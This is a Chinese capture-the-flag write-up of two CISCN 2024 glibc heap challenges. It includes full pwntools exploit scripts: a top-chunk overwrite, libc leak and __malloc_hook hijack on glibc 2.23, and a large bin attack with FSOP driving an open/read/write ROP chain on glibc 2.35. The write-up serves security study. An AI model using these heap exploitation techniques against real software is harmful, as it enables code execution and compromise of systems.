2024ciscn初赛两道经典堆题
字数 1108 2025-08-03 16:48:42
2024 CISCN初赛两道经典堆题解析
前言
本文详细分析2024年CISCN初赛中的两道经典堆利用题目:orange_cat_diary和EzHeap。这两道题目分别考察了不同版本的glibc堆利用技术,涉及UAF、堆溢出、large bin attack等关键技术点。
orange_cat_diary题目解析
题目基本信息
- glibc版本:2.23
- 保护机制:未明确说明,但基于2.23版本特性
- 功能限制:
- 申请大小限制在0x1000范围内
- 提供一次UAF机会
- 一次show功能
- edit功能可修改较多内容
利用思路
-
修改top chunk size:
add(0x28,"aaaa") pay = 'b'*0x28+p64(0xfd1) edit(0x30,pay)通过溢出修改top chunk的size为0xfd1。
-
触发unsorted bin:
add(0x1000,"c")申请大于0xfd1大小的堆块,将top_chunk送入unsorted bin。
-
泄露libc和heap地址:
add(0x400,'bbbbbbbb') show() ru('bbbbbbbb') main_arena = uu64(r(6)) libc_base = main_arena-0x3c510a通过large chunk泄露main_arena地址,计算libc基址。
-
利用UAF攻击malloc_hook:
add(0x60,'eeee') delete() malloc_hook = libc_base + libc.sym['__malloc_hook'] edit(8,p64(malloc_hook-0x23))在2.23版本中,malloc_hook需要在0x70这条链表上错位攻击(malloc_hook-0x23)。
-
构造payload触发one gadget:
add(0x60,'eeee') pl='a'*0x13+p64(og) add(0x60,pl)通过malloc触发one gadget。
完整EXP
from pwn import *
context(os='linux', log_level="debug", arch='amd64')
def main():
p = process('./pwn')
libc = ELF('./libc-2.23.so')
# 初始交互
ru("Hello, I'm delighted to meet you. Please tell me your name.")
sl('F4atherw1t')
# 修改top chunk size
add(0x28,"aaaa")
pay = 'b'*0x28+p64(0xfd1)
edit(0x30,pay)
# 触发unsorted bin
add(0x1000,"c")
add(0x400,'bbbbbbbb')
# 泄露libc和heap地址
show()
ru('bbbbbbbb')
main_arena = uu64(r(6))
libc_base = main_arena-0x3c510a
r(3)
heap=u64(p.recv(6).ljust(8,'\x00'))
heap_addr=heap<<8
# 攻击malloc_hook
og=libc_base+0xf1247
add(0x60,'eeee')
delete()
malloc_hook = libc_base + libc.sym['__malloc_hook']
edit(8,p64(malloc_hook-0x23))
add(0x60,'eeee')
pl='a'*0x13+p64(og)
add(0x60,pl)
# 触发one gadget
sla('Please input your choice:','1')
ru('Please input the length of the diary content:')
sl('666')
itr()
if __name__ == '__main__':
main()
EzHeap题目解析
题目基本信息
- glibc版本:2.35
- 保护机制:沙箱(仅允许open、read和write)
- 功能限制:
- add限制在0x500
- 无UAF
- edit存在堆溢出(可修改大小在0x500)
利用思路
-
整理堆布局:
add(0x450,'bbbb')申请大chunk整理fastbin和unsortedbin。
-
泄露libc地址:
add(0xe8,'bbbb') pl=b'a'*0x258+b'kkkkkkkk' edit(1,len(pl),pl) show(1) ru('kkkkkkkk') libc_base=u64(p.recv(6).ljust(8,b'\x00'))-0x21ae70通过堆溢出覆盖并泄露libc地址。
-
泄露heap地址:
delete(0) delete(1) add(0x58,b'a') pl=b'k'*0xa8+b'ffffffff' edit(0,len(pl),pl) show(0) ru('ffffffff') heap_base=u64(p.recv(5).ljust(8,b'\x00'))<<12 -
构造ORW链:
orw=b'./flag\x00\x00' orw+=p64(rdx_r12)+p64(0)+p64(chunk0+0x30) orw+=p64(rdi)+p64(orw_addr) orw+=p64(rsi)+p64(0) orw+=p64(rax)+p64(2) orw+=p64(syscall) # ... 其他ORW链 -
large bin attack:
pl=p64(0)+p64(leave_ret)+p64(0)+p64(io_all-0x20) pl+=p64(0)*2+p64(0)+p64(orw_addr) # ... 其他构造 edit(1,0x500,b'\x00'*0x258+p64(0x461)+pl)通过堆溢出修改large bin chunk。
-
触发IO攻击:
add(0x4e0,'a') add(0x440,'b') exit()申请特定大小chunk触发large bin attack,修改IO结构。
完整EXP
from pwn import *
context(os='linux', log_level="debug")
def main():
p = process('./pwn')
libc = ELF('./libc.so.6')
# 初始堆布局整理
add(0x450,'bbbb')
add(0xe8,'bbbb')
# 泄露libc地址
pl=b'a'*0x258+b'kkkkkkkk'
edit(1,len(pl),pl)
show(1)
ru('kkkkkkkk')
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-0x21ae70
# 泄露heap地址
delete(0)
delete(1)
add(0x58,b'a')
pl=b'k'*0xa8+b'ffffffff'
edit(0,len(pl),pl)
show(0)
ru('ffffffff')
heap_base=u64(p.recv(5).ljust(8,b'\x00'))<<12
# 准备gadget
rdi = libc_base + 0x2a3e5
rsi = libc_base + 0x2be51
rdx_r12 = libc_base + 0x11f2e7
rax= libc_base + 0x45eb0
ret = libc_base + 0x29139
lock =0x3ed8b0+libc_base
magic_gadget = libc_base + 0x16a050 +26
syscall = libc_base + libc.sym['read'] + 0x10
io_all = libc_base + libc.sym['_IO_list_all']
wfile = libc_base + libc.sym['_IO_wfile_jumps']
leave_ret = libc_base + next(libc.search(asm('leave;ret;')))
# 构造ORW链
orw_addr=heap_base+0x3210
flag_addr = heap_base+0x260
chunk0 = heap_base + 0x24b0
add(0x250,'pppp') #idx=1
add(0x458,'aaaa')
add(0x458,'aaaa')
add(0x448,'aaaa')
add(0x448,'aaaa') #idx=5
delete(2)
add(0x498,'a')
delete(4)
orw=b'./flag\x00\x00'
orw+=p64(rdx_r12)+p64(0)+p64(chunk0+0x30)
orw+=p64(rdi)+p64(orw_addr)
orw+=p64(rsi)+p64(0)
orw+=p64(rax)+p64(2)
orw+=p64(syscall)
orw+=p64(rdi)+p64(3)
orw+=p64(rsi)+p64(orw_addr+0x100)
orw+=p64(rdx_r12)+p64(0x50)+p64(0)
orw+=p64(rax)+p64(0)
orw+=p64(syscall)
orw+=p64(rdi)+p64(1)
orw+=p64(rsi)+p64(orw_addr+0x100)
orw+=p64(rdx_r12)+p64(0x50)+p64(0)
orw+=p64(rax)+p64(1)
orw+=p64(syscall)
edit(5,len(orw),orw)
# large bin attack
pl=p64(0)+p64(leave_ret)+p64(0)+p64(io_all-0x20)
pl+=p64(0)*2+p64(0)+p64(orw_addr)
pl+=p64(0)*4
pl+=p64(0)*3+p64(lock)
pl+=p64(0)*2+p64(chunk0+0xe0)+p64(0)
pl+=p64(0)*4
pl+=p64(0)+p64(wfile)
pl+=p64(0)*0x14+p64(chunk0+0xe0+0xe8)
pl+=p64(0)*0xd+p64(magic_gadget)
edit(1,0x500,b'\x00'*0x258+p64(0x461)+pl)
# 触发攻击
add(0x4e0,'a')
add(0x440,'b')
exit()
itr()
if __name__ == '__main__':
main()
总结
这两道题目分别展示了不同glibc版本下的堆利用技术:
-
orange_cat_diary:
- 利用glibc 2.23的经典house of orange技术
- 通过修改top chunk size触发unsorted bin
- 利用UAF攻击malloc_hook
-
EzHeap:
- 针对glibc 2.35的利用
- 结合堆溢出和large bin attack
- 在沙箱限制下通过IO攻击实现ORW
这两道题目涵盖了从经典到现代的堆利用技术,对于理解glibc堆管理和利用技术有很好的学习价值。